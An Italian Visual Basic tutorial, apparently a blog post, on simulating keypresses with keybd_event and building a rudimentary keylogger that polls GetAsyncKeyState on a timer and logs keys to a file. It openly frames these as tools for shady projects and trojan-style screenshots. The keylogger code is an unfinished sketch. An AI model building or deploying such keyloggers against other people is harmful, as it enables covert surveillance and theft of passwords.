Senza categoria

Il vb e la tastiera III lezione.

[MiMMuZ] cerca di dimenticare la sua ex presentandovi:

IL VB E LA TASTIERA

#############################-Disclaimer Legale-#############################
Tutto il materiale qui presente è stato scritto a puro scopo didattico, l’autore non si assume nessuna responsabilità per le informazioni qui riportate. Questo materiale può essere divulgato, modificato e chi vuole può pure metterci il prorpio nome, la gloria non fa per me!
#############################################################################

COSA è RICHIESTO:

-una conoscenza di base del VB
-il compilatore per VB
-la capacità di dichiarare un’API
-un po’ di fantasia

Se almeno una volta nella vostra vita vi è venuta la voglia di scrivervi un keylogger o di simualre la pressione di un tasto per chissà quale scopo allora questa guida fa per voi!

PARAGRAFI:

1-SIMULARELA PRESSIONE DEI TASTI
2-CONTROLLARE I TASTI

——————–> SIMULARE LA PRESSIONE DEI TASTI < ---------------------- Se per qualche losco progetto avete la necessità di far pemere un tasto su un pc senza avervi l'accesso fisico, e se magari sul quel pc gira Windows beh, prendete il vostro compilatore e dateci dentro perchè col Vb questa operazione è estremamente semplice. Le uniche cose da utilizzare saranno un API e qualche costante. Ma andiamo con ordine. Dichiariamo la nostra funzione: Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) e due costanti: Const KEYEVENTF_EXTENDEDKEY = &H1 Const KEYEVENTF_KEYUP = &H2 Queste due costabti indicano rispetivamente la pressione del tasto (KeyDown) e il suo rilascio (KeyUp) infatti per realizzare la pressione di un tasto bisogna effetivamente farla nel codice: prima si preme e poi si rilascia il tasto, solo allora la pressione sarà caompleta. Nell'API dichiarata sopra bVk indica il tasto da premere, bScan il codice per la scansione del testo (settatelo a 0), dFlags se il tasto sarà premuto o rilasciato mentre dwExtraInfo non viene utilizzato dal VB (mettete a 0 pure questo). Detto questo sareste quasi pronti per simulare la pressione di un tasto, vi amnca solo il valore da passare a bVk. Questa variabile che conterrà il bottone da premere richiede una costante di VB relativa alla tastiera. Di seguito riporto alcune delle costanti più usate: Costante Tasto Valore vbKeyCancel Tasto ANNULLA 3 vbKeyBack Tasto BACKSPACE 8 vbKeyTab Tasto TAB 9 vbKeyReturn Tasto INVIO 13 vbKeyShift Tasto MAIUSC 16 vbKeyControl Tasto CTRL 17 vbKeyMenu Tasto MENU 18 vbKeyCapital Tasto BLOC MAIUSC 20 vbKeyEscape Tasto ESC 27 vbKeySpace BARRA SPAZIATRICE 32 mentre per le lettere dell'alfabeto si usano semplicemnte vbKeyA o vbKeyB e così via mentre il loro valore equivale al codice ASCII della laettera. Stesso ragionamento vale per i tsti funzione, vbKeyF1 equivarrà a F1 e vbKeyF6 equivarrà a F6. I valori dei tasti funzione partono da 112 per F1 e arrivano fino a 127 per F16. Detto ciò vedimao con un esempio come scrivere "ciao" premendo i tasti da VB: keybd_event vbKeyC, 0, KEYEVENTF_EXTENDEDKEY, 0 keybd_event vbKeyC, 0, KEYEVENTF_KEYUP, 0 keybd_event vbKeyI, 0, KEYEVENTF_EXTENDEDKEY, 0 keybd_event vbKeyI, 0, KEYEVENTF_KEYUP, 0 keybd_event vbKeyA, 0, KEYEVENTF_EXTENDEDKEY, 0 keybd_event vbKeyA, 0, KEYEVENTF_KEYUP, 0 keybd_event vbKeyO, 0, KEYEVENTF_EXTENDEDKEY, 0 keybd_event vbKeyO, 0, KEYEVENTF_KEYUP, 0 Il codice si commenta da sè. Una delle utilità maggiori per questa funzione è quella di poter premere il taso Stamp (Print). Questò permetterà di salavare negli appunti un'immagine rappresentatnte ciò che l'utente vedeva sul monitor quando è stat simulata tale pressione. Usando bene questo trucchetto si può realizzare uno ScreenShot come quelli presenti su molti trojan. ---------------------------> CONTROLLARE I TASTI <--------------------------- Vediamo adesso come controllare se un taso viene premuto e come realzizzare un semplice KeyLogger. La funzione da utilizzare è questa: Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Ogni volta che questa funzione viene richiamata controlla se il tasto in quel momento viene premuto e ritorna un valore minore di 0 se è vero, uguale a 0 se è falso. A questo punto per realizzare un KeyLogger basta creare un controllo Timer col valore di Interval settato vivino al valore indicante la velocità di ripetizione dei tasti (se il valore è troppo alto rischiate di perdervi dei tasti, se è troppo baso rischiate di ripetere la pressione di un tasto) e mettere all'interno di questo controllo un enunciato If...Then...ElseIF... per controllare quali tasti vengono premuti e una procedura che aperto un file stampi in esso i tasti battuti. Vediamo un esempio: 'Per sapere il tempo di ripetizione usate questa API Declare Function SystemParamsLong Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long 'Costante che indichera che a noi interessa la velocità di ripetizione e non il tempo di ritardo Const SPI_GETKEYBOARDSPEED = 10 'fatevi una sub con questo Dim Key_Speed as Long Dim Testo as String SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Key_Speed, 0 'Key_Speed conterrà il tempo di ripetizione della tastiera. Timer1.Interval=Key_Speed+60 'aumeto un po' il ritardo per migliorare le prestazioni Private Sub Timer1_Timer() If GetAsyncKeyState(vbKeyA) Then Testo = Testo + "a" ElseIf GetAsyncKeyState(vbKeyB) Then Testo = Testo + "b" ElseIf GetAsyncKeyState(vbKeyC) Then Testo = Testo + "c" ElseIf.. 'qui continuerebbe End Sub Mi sembra tutto semplice, a questo punto sarete in grado di migliorare questo abbozzo di KeyLogger, per quanto mi riguarda dovreste avere in mano tutte le informazioni per sbizzarirvi con la tastiera.

Lascia un commento